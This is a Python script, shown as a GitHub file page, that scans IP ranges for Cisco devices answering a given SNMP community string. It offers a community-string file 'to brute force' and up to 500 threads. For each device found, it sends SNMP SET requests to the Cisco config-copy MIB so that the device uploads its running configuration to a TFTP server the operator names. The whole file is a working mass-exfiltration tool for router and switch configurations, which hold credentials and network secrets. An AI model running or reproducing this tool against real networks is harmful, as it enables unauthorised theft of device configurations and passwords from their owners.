-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathsnmp_test.py
556 lines (477 loc) · 16.7 KB
/
snmp_test.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
# example usage
# python snmp_test.py -c accnet_mgmt -t 10.21.1.110 -f
# SET Command Generator
import asyncore, socket, sys
from pysnmp.carrier.asynsock.dispatch import AsynsockDispatcher
from pysnmp.carrier.asynsock.dgram import udp
from pyasn1.codec.ber import encoder, decoder
from optparse import OptionParser
from pysnmp.proto import api
from time import time,sleep
import threading, asyncore
# Protocol version to use
IO_LOCK = threading.Lock()
MAX_CLIENTS = 200
CLIENTS_MAP = {}
ACTIVE_CLIENTS = []
CLEANUP_THREAD = None
CLEANUP_FREQ = 3
COMMON_OID = [1,3,6,1,4,1,9,9,96,1,1,1,1,"REPLACE",52987]
BASE_OID = [1,3,6,1,4,1,9,9,96,1,1,1,1,]
SNMPModule = api.protoModules[api.protoVersion1]
OUTFNAME = "simple_snmp_thingy.txt"
OWRITE_LOCK = threading.Lock()
OUTFILE = open(OUTFNAME, 'a')
def cleanup(cleanup_time):
global ACTIVE_CLIENTS, CLEANUP_THREAD
new_clients = []
for i in ACTIVE_CLIENTS:
if i.isComplete():
continue
new_clients.append(i)
ACTIVE_CLIENTS = new_clients
CLEANUP_THREAD = thread.Timer(cleanup_time, cleanup, (cleanup_time,))
def Build_GetSystemPDUType(comm_string):
# Build PDU
reqPDU = SNMPModule.GetRequestPDU()
SNMPModule.apiPDU.setDefaults(reqPDU)
SNMPModule.apiPDU.setVarBinds(
reqPDU, (((1,3,6,1,2,1,1,1,0), SNMPModule.Null()),)
)
# Build message
reqMsg = SNMPModule.Message()
SNMPModule.apiMessage.setDefaults(reqMsg)
SNMPModule.apiMessage.setCommunity(reqMsg, comm_string)
SNMPModule.apiMessage.setPDU(reqMsg, reqPDU)
return reqMsg
def Build_GetSystemPDUName(comm_string):
# Build PDU
reqPDU = SNMPModule.GetRequestPDU()
SNMPModule.apiPDU.setDefaults(reqPDU)
SNMPModule.apiPDU.setVarBinds(
reqPDU, (((1,3,6,1,2,1,1,5,0), SNMPModule.Null()),)
)
# Build message
reqMsg = SNMPModule.Message()
SNMPModule.apiMessage.setDefaults(reqMsg)
SNMPModule.apiMessage.setCommunity(reqMsg, comm_string)
SNMPModule.apiMessage.setPDU(reqMsg, reqPDU)
return reqMsg
def Build_SetPDU(oid, oid_val, comm_string):
# Build PDU
reqPDU = SNMPModule.SetRequestPDU()
SNMPModule.apiPDU.setDefaults(reqPDU)
SNMPModule.apiPDU.setVarBinds(
reqPDU, ((oid, oid_val),)
)
# Build message
reqMsg = SNMPModule.Message()
SNMPModule.apiMessage.setDefaults(reqMsg)
SNMPModule.apiMessage.setCommunity(reqMsg, comm_string)
SNMPModule.apiMessage.setPDU(reqMsg, reqPDU)
return reqMsg
def BuildSend_CopyMsg(addr, comm_string, dst_ipaddr, snmp_sock):
global startedAt
copy_oid, copy_val = BASE_OID + [2,52987], SNMPModule.Integer(1)
cpyMsg = Build_SetPDU(copy_oid, copy_val, comm_string)
startedAt = time()
snmp_sock.sendto(encoder.encode(copyMsg), (addr, 161))
#Send_CopyPDU(cpyMsg, addr)
def BuildSend_SrcFileMsg(addr, sys_name, comm_string, dst_ipaddr, snmp_sock):
global startedAt
srcFileType_oid, srcFT_val = BASE_OID + [3,52987], SNMPModule.Integer(4)
sftMsg = Build_SetPDU(srcFileType_oid, srcFT_val, comm_string)
startedAt=time()
#Send_CopyPDU(sftMsg, addr)
snmp_sock.sendto(encoder.encode(sftMsg), (addr, 161))
def BuildSend_DstFileMsg(addr, sys_name, comm_string, dst_ipaddr, snmp_sock):
global startedAt
dstFileType_oid, dstFT_val = BASE_OID + [4,52987], SNMPModule.Integer(1)
dftMsg = Build_SetPDU(dstFileType_oid, dstFT_val, comm_string)
startedAt=time()
#Send_CopyPDU(dftMsg, addr)
snmp_sock.sendto(encoder.encode(dftMsg), (addr, 161))
def BuildSend_DstFileNameMsg(addr, sys_name, comm_string, dst_ipaddr, snmp_sock):
global startedAt
dstFname_oid, dstFname_val = BASE_OID + [6,52987], SNMPModule.OctetString(sys_name+".CiscoConfig")
dstFnameMsg = Build_SetPDU(dstFname_oid, dstFname_val, comm_string)
startedAt=time()
#Send_CopyPDU(dstFnameMsg, addr)
snmp_sock.sendto(encoder.encode(dstFnameMsg), (addr, 161))
def BuildSend_DstAddrMsg(addr, sys_name, comm_string, dst_ipaddr, snmp_sock):
global startedAt
dstAddr_oid, dstAddr_val = BASE_OID + [5,52987], SNMPModule.IpAddress(dst_ipaddr)
addrMsg = Build_SetPDU(dstAddr_oid, dstAddr_val, comm_string)
startedAt=time()
#Send_CopyPDU(addrMsg, addr)
snmp_sock.sendto(encoder.encode(addrMsg), (addr, 161))
def BuildSend_DoneMsg(addr, sys_name, comm_string, dst_ipaddr, snmp_sock):
global startedAt
done_oid, done_val = BASE_OID + [14,52987], SNMPModule.Integer(1)
doneMsg = Build_SetPDU(done_oid, done_val, comm_string)
startedAt=time()
#Send_CopyPDU(doneMsg, addr)
snmp_sock.sendto(encoder.encode(doneMsg), (addr, 161))
class snmp_client:
def __init__(self, host, remote_host, comm_string="public", timeout=0.3):
self.timeout = timeout
self.socket= socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.socket.settimeout(self.timeout)
self._comm_string = comm_string
self._addr = (host,161)
self._sysname = None
self._isCisco = None
self._complete = False
self._rhost = remote_host
self.sendGetSystemType()
def isComplete(self):
return self._complete
def handle_connect(self):
self.handle_read()
def handle_close(self):
self.close()
def readSystemType(self, wholeMsg):
rspMsg, wholeMsg = decoder.decode(wholeMsg, asn1Spec=SNMPModule.Message())
rspPDU = SNMPModule.apiMessage.getPDU(rspMsg)
errorStatus = SNMPModule.apiPDU.getErrorStatus(rspPDU)
if errorStatus:
IO_LOCK.acquire()
print errorStatus.prettyPrint()
IO_LOCK.release()
self._complete = True
else:
oid, val = SNMPModule.apiPDU.getVarBinds(rspPDU)[0]
self._isCisco = val.prettyPrint() > -1
if self._isCisco:
"Host %s is Cisco"%(self._addr[0])
def readSystemName(self, wholeMsg):
rspMsg, wholeMsg = decoder.decode(wholeMsg, asn1Spec=SNMPModule.Message())
rspPDU = SNMPModule.apiMessage.getPDU(rspMsg)
errorStatus = SNMPModule.apiPDU.getErrorStatus(rspPDU)
if errorStatus:
IO_LOCK.acquire()
print errorStatus.prettyPrint()
IO_LOCK.release()
self._complete = True
else:
oid, val = SNMPModule.apiPDU.getVarBinds(rspPDU)[0]
self._sysname = val.prettyPrint()
IO_LOCK.acquire()
print "Found: %s"%self._addr[0]
IO_LOCK.release()
#OWRITE_LOCK.acquire()
#OUTFILE.write("%s\n"%self._rhost)
#OWRITE_LOCK.release()
self.sendGetConfig()
def handle_read(self):
global OUTFILE, OWRITE_LOCK, THREADS_LOCK, THREADS_LOCK
#print "Handling a read call"
try:
whole_msg, addr_info = self.socket.recvfrom(4096)
except IOError:
THREADS_LOCK.acquire()
try:
if self._addr[0] in THREAD_MAP:
del THREAD_MAP[ipaddr]
except KeyError:
pass
except:
print sys.exc_info()
THREADS_LOCK.release()
#print "Failed to recv data from %s"%(str(self._addr))
self._complete = True
return
if self._isCisco is None:
IO_LOCK.acquire()
print "Checking if the system is a Cisco"
IO_LOCK.release()
self.readSystemType(whole_msg)
if self._isCisco:
self.sendGetSystemName()
return
if self._isCisco and self._sysname is None:
self.readSystemName(whole_msg)
return
self._complete = True
def sendGetSystemType(self):
reqMsg = Build_GetSystemPDUType(self._comm_string)
self.socket.sendto( encoder.encode(reqMsg), self._addr)
self.handle_read()
def sendGetSystemName(self):
reqMsg = Build_GetSystemPDUName(self._comm_string)
self.socket.sendto( encoder.encode(reqMsg), self._addr)
self.handle_read()
def sendGetConfig(self):
self.sendCopyInit()
self.sendSrcFileMsg()
self.sendDstFileMsg()
self.sendDstAddrMsg()
self.sendDstFileNameMsg()
self.sendDoneMsg()
sleep(1)
self._complete = True
def writable(self):
pass
def handle_write(self):
pass
def sendCopyInit(self):
copy_oid, copy_val = BASE_OID + [2,52987], SNMPModule.Integer(1)
cpyMsg = Build_SetPDU(copy_oid, copy_val, self._comm_string)
self.socket.sendto(encoder.encode(cpyMsg), self._addr)
def sendSrcFileMsg(self):
srcFileType_oid, srcFT_val = BASE_OID + [3,52987], SNMPModule.Integer(4)
sftMsg = Build_SetPDU(srcFileType_oid, srcFT_val, self._comm_string)
self.socket.sendto(encoder.encode(sftMsg), self._addr)
def sendDstFileMsg(self):
dstFileType_oid, dstFT_val = BASE_OID + [4,52987], SNMPModule.Integer(1)
dftMsg = Build_SetPDU(dstFileType_oid, dstFT_val, self._comm_string)
self.socket.sendto(encoder.encode(dftMsg), self._addr)
def sendDstFileNameMsg(self):
dstFname_oid, dstFname_val = BASE_OID + [6,52987], SNMPModule.OctetString(self._sysname+".CiscoConfig")
dstFnameMsg = Build_SetPDU(dstFname_oid, dstFname_val, self._comm_string)
self.socket.sendto(encoder.encode(dstFnameMsg), self._addr)
def sendDstAddrMsg(self):
dstAddr_oid, dstAddr_val = BASE_OID + [5,52987], SNMPModule.IpAddress(self._rhost)
addrMsg = Build_SetPDU(dstAddr_oid, dstAddr_val, self._comm_string)
self.socket.sendto(encoder.encode(addrMsg), self._addr)
def sendDoneMsg(self):
done_oid, done_val = BASE_OID + [14,52987], SNMPModule.Integer(1)
doneMsg = Build_SetPDU(done_oid, done_val, self._comm_string)
self.socket.sendto(encoder.encode(doneMsg), self._addr)
def set_parse_options():
parser = OptionParser()
parser.add_option("-t", "--tftp", dest="rhost", type="string",
help="remote tftp servers address")
parser.add_option("-c", "--community_string", dest="comm_string", type="string",
help="single SNMP community string")
parser.add_option("-f", "--infile", dest="fname", type="string",
help="file name holding the ipaddresses")
parser.add_option("-i", "--ipaddr", dest="ipaddr", type="string",
help="single ip address to try")
parser.add_option("-m", "--maxthreads", dest="max", type="int",
help="single ip address to try")
parser.add_option("-s", "--strings", dest="comm_strings", type="string",
help="file name SNMP strings to brute force")
parser.set_defaults(ipaddr = None,
rhost = None,
comm_string = None,
fname=None,
comm_strings=None,
max=500)
return parser
def Send_CopyPDU(reqMsg, hostname, port=161):
transportDispatcher = AsynsockDispatcher()
transportDispatcher.registerTransport(
udp.domainName, udp.UdpSocketTransport().openClientMode()
)
transportDispatcher.registerRecvCbFun(cbRecvFun2)
transportDispatcher.registerTimerCbFun(cbTimerFun)
transportDispatcher.sendMessage(
encoder.encode(reqMsg), udp.domainName, (hostname, 161)
)
transportDispatcher.jobStarted(1)
transportDispatcher.runDispatcher()
transportDispatcher.closeDispatcher()
def Send_GetSystemPDUName(reqMsg, hostname, port=161):
transportDispatcher = AsynsockDispatcher()
transportDispatcher.registerTransport(
udp.domainName, udp.UdpSocketTransport().openClientMode()
)
transportDispatcher.registerRecvCbFun(cbRecvFun)
transportDispatcher.registerTimerCbFun(cbTimerFun)
transportDispatcher.sendMessage(
encoder.encode(reqMsg), udp.domainName, (hostname, 161)
)
transportDispatcher.jobStarted(1)
transportDispatcher.runDispatcher()
transportDispatcher.closeDispatcher()
def build_mask(bits=24):
# we already have the 1 bit in there
mask = 1
for i in xrange(0,32-bits-1):
mask = (mask << 1)
mask = (mask +1)
#for i in xrange(0,32 - bits):
# mask = mask << 1
return mask
def str_to_int(s):
i = ord(s[0]) << 24
i += ord(s[1]) << 16
i += ord(s[2]) << 8
i += ord(s[3])
return i
def int_to_str(i):
s = [0,0,0,0]
s[0]= chr((i&0xFF000000) >> 24)
s[1]= chr((i&0x00FF0000) >> 16)
s[2]= chr((i&0x0000FF00) >> 8 )
s[3]= chr((i&0x000000FF) )
return "".join(s)
def expand_addresses_to_file(cidr, fname):
add_ip_set = lambda lset,ip: lset.add(socket.inet_ntoa(int_to_str(ip)))
# this check to make sure all the values are digits and not other
# stuff.
f = open(fname,"a")
ip_addrs = set()
if cidr.find("/") == -1:
return ip_addrs
bits = int(cidr.split("/")[1].strip())
addr = cidr.split("/")[0].strip()
mask = build_mask(bits)
#print hex(bits), hex(mask)
start = current = str_to_int(socket.inet_aton(addr))
current += 1
bool = False
while current & mask != start & mask:
f.write(socket.inet_ntoa(int_to_str(current))+"\n")
#print hex(current & mask) , hex(start & mask), hex(current), hex(mask)
current += 1
bool = True
def expand_addresses(cidr):
add_ip_set = lambda lset,ip: lset.add(socket.inet_ntoa(int_to_str(ip)))
# this check to make sure all the values are digits and not other
# stuff.
ip_addrs = set()
if cidr.find("/") == -1 and cidr.find(".") > -1:
ip_addrs.add(cidr)
return ip_addrs
elif cidr.find("/") == -1:
return ip_addrs
bits = int(cidr.split("/")[1].strip())
addr = cidr.split("/")[0].strip()
mask = build_mask(bits)
#print hex(bits), hex(mask)
start = current = str_to_int(socket.inet_aton(addr))
add_ip_set(ip_addrs, current)
current += 1
while current & mask != start & mask:
add_ip_set(ip_addrs, current)
current += 1
#print hex(current & mask) , hex(start & mask), hex(current), hex(mask)
return ip_addrs
def expand_addrs_from_file(fname):
ipaddrs=set()
data = open(fname).readlines()
for i in data:
if i.strip() == "":
continue
ipaddrs |= expand_addresses(i.strip())
ips = [i for i in ipaddrs]
ips.sort()
return ips
COMPLETED_READING = False
IP_ADDRS = []
IP_LOCK = threading.Lock()
IP_READER_THREAD = None
def expand_ips_thread(fname):
global IP_LOCK, IP_ADDRS, COMPLETED_READING
try:
cidr_addrs = open(fname).readlines()
for i in cidr_addrs:
if i.strip() == "":
continue
ips = expand_addresses(i.strip())
IP_LOCK.acquire()
for i in ips:
IP_ADDRS.append(i)
IP_LOCK.release()
if COMPLETED_READING:
break
except:
IO_LOCK.acquire()
print "Exception in the IP Reading thread"
IO_LOCK.release()
COMPLETED_READING = True
CLIENTS = []
STOP_CLEANUP = False
CLEANUP_THREAD = None
THREADS = []
THREADS_LOCK = threading.Lock()
THREAD_MAP = {}
def thread_maintanence(timer_val):
global THREADS, THREADS_LOCK, CLEANUP_THREAD, STOP_CLEANUP, THREAD_MAP
if STOP_CLEANUP:
return
new_threads = {}
THREADS_LOCK.acquire()
for client in THREAD_MAP:
if THREAD_MAP[client].isAlive():
new_threads[client]= THREAD_MAP[client]
THREAD_MAP = new_threads
THREADS_LOCK.release()
CLEANUP_THREAD = threading.Timer(timer_val, thread_maintanence, args=(timer_val,))
CLEANUP_THREAD.start()
def run_client(ip, tftp_host, comm_string):
c = snmp_client(ip,tftp_host,comm_string)
if __name__ == "__main__":
parser = set_parse_options()
(options, args) = parser.parse_args()
cleanup_time = 3
ipaddrs = []
commstrs = []
if options.ipaddr is None and\
options.fname is None:
print "Error did not specify an IP Address or filename"
parser.print_help()
sys.exit(-1)
elif options.ipaddr:
IP_ADDRS.append(options.ipaddr)
COMPLETED_READING = True
else:
IP_READER_THREAD = threading.Thread(target=expand_ips_thread, args=(options.fname,))
IP_READER_THREAD.start()
#IPADDRS = expand_addrs_from_file(options.fname)
#print ipaddrs
if options.comm_string is None and\
options.comm_strings is None:
print "Error did not specify an community string or filename of strings"
parser.print_help()
sys.exit(-1)
elif options.comm_string:
commstrs.append(options.comm_string)
else:
commstrs = [i.strip() for i in open(options.comm_strings).readlines()]
rhost = options.rhost
if rhost is None:
print "Error did not specify an community string or filename of strings"
parser.print_help()
sys.exit(-1)
timer_val = .9
CLEANUP_THREAD = threading.Timer(timer_val, thread_maintanence, args=(timer_val,))
CLEANUP_THREAD.start()
continue_processing = len(IP_ADDRS) > 0 or not COMPLETED_READING
while len(IP_ADDRS) > 0 or not COMPLETED_READING:
try:
comm_string = commstrs[0]
if not len(IP_ADDRS) > 0:
sleep(1)
continue
while len(THREAD_MAP) > options.max:
sleep(1.0)
IP_LOCK.acquire()
ipaddr = IP_ADDRS.pop()
IP_LOCK.release()
IO_LOCK.acquire()
print "IP: %s LenThreadMap: %d LenIPAddrs: %d COMPLETED_READING: %s"%(ipaddr, len(THREAD_MAP), len(IP_ADDRS), str(COMPLETED_READING))
IO_LOCK.release()
t = threading.Thread(target=run_client, args=(ipaddr, rhost, comm_string))
t.start()
THREADS_LOCK.acquire()
THREAD_MAP[ipaddr] = t
THREADS_LOCK.release()
if not CLEANUP_THREAD.isAlive():
CLEANUP_THREAD = threading.Timer(timer_val, thread_maintanence, args=(timer_val,))
CLEANUP_THREAD.start()
except KeyboardInterrupt:
print "Keyboard Interrupt: Quitting"
break
except:
print "Exception in main thread", sys.exc_info()
break
print "Waiting..."
while len(THREAD_MAP) > 0:
sleep(1)
STOP_CLEANUP = True
CLEANUP_THREAD.cancel()
print "All done"
print "Finished sending all the necessary"